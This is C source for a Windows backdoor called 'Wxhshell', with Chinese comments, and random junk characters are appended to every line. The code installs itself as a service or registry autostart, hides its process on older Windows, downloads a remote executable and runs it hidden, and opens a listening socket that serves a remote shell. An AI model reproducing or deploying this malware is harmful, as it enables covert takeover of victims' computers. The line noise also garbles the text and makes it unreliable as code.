DWORD BasePriority; Fj-mo>"
ULONG UniqueProcessId; 6i, d|
ULONG InheritedFromUniqueProcessId; hyFq>XFo
} PROCESS_BASIC_INFORMATION; EcFYP"{U
y~''r%]
PROCNTQSIP NtQueryInformationProcess; $d4eGL2S
iiKFV>;t/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JYs*1<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]#TL~u[
YtE V8w_$
HANDLE hProcess; U*1rA/"n
PROCESS_BASIC_INFORMATION pbi; 7DXT1+t
5c`DkWne%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0}-&v+
if(NULL == hInst ) return 0; @D Qg1|m
{ SJ=|L6
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v`bX#\It
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pu,/GBG_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _ i.CvYe
XBdC/DM[
if (!NtQueryInformationProcess) return 0; \^w=T*
)
^!oM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L*Xn!d%
if(!hProcess) return 0; e*:[#LJ]C
)d_)CuUBe
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L*11hyyk
WOzdYeeG
CloseHandle(hProcess); w' #VN|;;!
i=#r JK=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0+m"eGwTm
if(hProcess==NULL) return 0; 84cmPnaT
w1h07_u;v
HMODULE hMod; !f V.#9AB#
char procName[255]; e}-uU7O
unsigned long cbNeeded; v$owG-_><
rbqH9 S
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e(6g|h
[`yiD>
CloseHandle(hProcess); 5MO:hE5sm
1Hy
if(strstr(procName,"services")) return 1; // 以服务启动 72@8M
x\3tSP7Vp
return 0; // 注册表启动 0@.$(Aqo(
} -~p@o1k0
zZ[SC
// 主模块 W#8qhmt
int StartWxhshell(LPSTR lpCmdLine) o.Mb~8Yu
{ rPZ<
SOCKET wsl; 3Yp_k
BOOL val=TRUE; jgs kK
int port=0; ghx8dX}
struct sockaddr_in door; +[zrU`!@
Q{Jz;6"
if(wscfg.ws_autoins) Install(); 7?]gUrE
e-]k{_wm
port=atoi(lpCmdLine); t'Nu^_#
BT2[@qH|qF
if(port<=0) port=wscfg.ws_port; ? Ls]k
(|I0C 'Ki
WSADATA data; qWy{{A+
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4O[5,
!,V8?3.aJn
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a'
.o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "k"q)5c
door.sin_family = AF_INET; Z@RAdwjR`p
door.sin_addr.s_addr = inet_addr("127.0.0.1"); t/u$Ts
door.sin_port = htons(port); )tz8(S
XqyfeY5t
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $lU~3I)
closesocket(wsl); +VAfT\G2
return 1; aCM F[
3j
} LZX-am`%
jSa EwN
if(listen(wsl,2) == INVALID_SOCKET) { tJ&S&[}
closesocket(wsl); `Rm2G
return 1; IgLP=mqcWK
} 8Nd +
Wxhshell(wsl); ]Q6,,/nn
WSACleanup(); +4GuA0N6
$kZ,uvKN
return 0; %UV_
3
s%H5Qa+Uh
} [
}jSx]
9cQKXh:R.
// 以NT服务方式启动 nm*1JA.:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OC7:Dp4
{ .^,fw=T|1
DWORD status = 0; rfXM*h
DWORD specificError = 0xfffffff; dU:s^^f&R
RgRyo
serviceStatus.dwServiceType = SERVICE_WIN32; R)nhgp(~
serviceStatus.dwCurrentState = SERVICE_START_PENDING; P2 !~}{-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M\enjB7k
serviceStatus.dwWin32ExitCode = 0; +M-' K19
serviceStatus.dwServiceSpecificExitCode = 0; ",#rI+ el
serviceStatus.dwCheckPoint = 0; !CPv{c`|qg
serviceStatus.dwWaitHint = 0; `w[0q?}"`
qVZ=:D{
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rv9qF |2r{
if (hServiceStatusHandle==0) return; HTQ.kV
zp% MK+x
status = GetLastError(); *h@nAB\3
if (status!=NO_ERROR) #U"\v7C{n
{ v srce
serviceStatus.dwCurrentState = SERVICE_STOPPED; o!sxfJKl
serviceStatus.dwCheckPoint = 0; !yojZG MB
serviceStatus.dwWaitHint = 0; rnmWw#
serviceStatus.dwWin32ExitCode = status; 5NJ@mm{0
serviceStatus.dwServiceSpecificExitCode = specificError; &{Uaa
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N]KqSpPh
return; X
H{5E4P
} 43,-
t_jV
8%arA"#S
serviceStatus.dwCurrentState = SERVICE_RUNNING; \@MGOaR]
serviceStatus.dwCheckPoint = 0; Sn7.KYS
serviceStatus.dwWaitHint = 0; oJ{)0;<~L
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rH8?GR0<
} 4y>G6TD^
o~mY,7@a
// 处理NT服务事件,比如:启动、停止 \n`UkxZn+
VOID WINAPI NTServiceHandler(DWORD fdwControl) &e cf5jFy
{ T/-PSfbkj
switch(fdwControl) =1VY/sv
{ by>,h4
case SERVICE_CONTROL_STOP: {;f`t3D
serviceStatus.dwWin32ExitCode = 0; *M"lUw#(f
serviceStatus.dwCurrentState = SERVICE_STOPPED; G1$DVGo
serviceStatus.dwCheckPoint = 0; &|/C*2A
serviceStatus.dwWaitHint = 0; OFQsfW3O
{ "N7C7`izc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H{p+gj^J
} s8.oS);`
return; JOenVepQ,
case SERVICE_CONTROL_PAUSE: (a&.Ad0{
serviceStatus.dwCurrentState = SERVICE_PAUSED; X+P3a/T
break; eHPGzNXb
case SERVICE_CONTROL_CONTINUE: ?y]3kU
serviceStatus.dwCurrentState = SERVICE_RUNNING; w y:.
break; N@tzYD|hA
case SERVICE_CONTROL_INTERROGATE: xqbI~jV#
break; dYfVox;
}; \W/cC'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >"zSW?
} rb`C:#j{J
v,Ep2$
// 标准应用程序主函数 ApU5,R0
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o#%2N+w
{ f\^FUJy
'hU&$lgMF
// 获取操作系统版本 9R'rFI
OsIsNt=GetOsVer(); OM}:1He
GetModuleFileName(NULL,ExeFile,MAX_PATH); SJy:5e?zk
oVc_(NH-
// 从命令行安装 MFE~bU(h
if(strpbrk(lpCmdLine,"iI")) Install(); :rk]o*
?=Ma7 y
// 下载执行文件 `(*5yX C
if(wscfg.ws_downexe) { ]9;WM.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A
g/z\kX
WinExec(wscfg.ws_filenam,SW_HIDE); 6`X#<#_&
} WlWBYnphZs
el+euOV
if(!OsIsNt) { \$riwL
// 如果时win9x,隐藏进程并且设置为注册表启动 qI5/ME(}
HideProc(); A/BL{ U}
StartWxhshell(lpCmdLine); L7a+ #mGE
} s{$c 8
else P9X/yZ42
if(StartFromService()) 2E=E!Zwt_
// 以服务方式启动 9at7$Nq
StartServiceCtrlDispatcher(DispatchTable); N
@]*E
else -I\_v*nA
// 普通方式启动 F?5kl/("
StartWxhshell(lpCmdLine); 0D$+WX
{[)J~kC+
return 0; #t3ju^ |?
}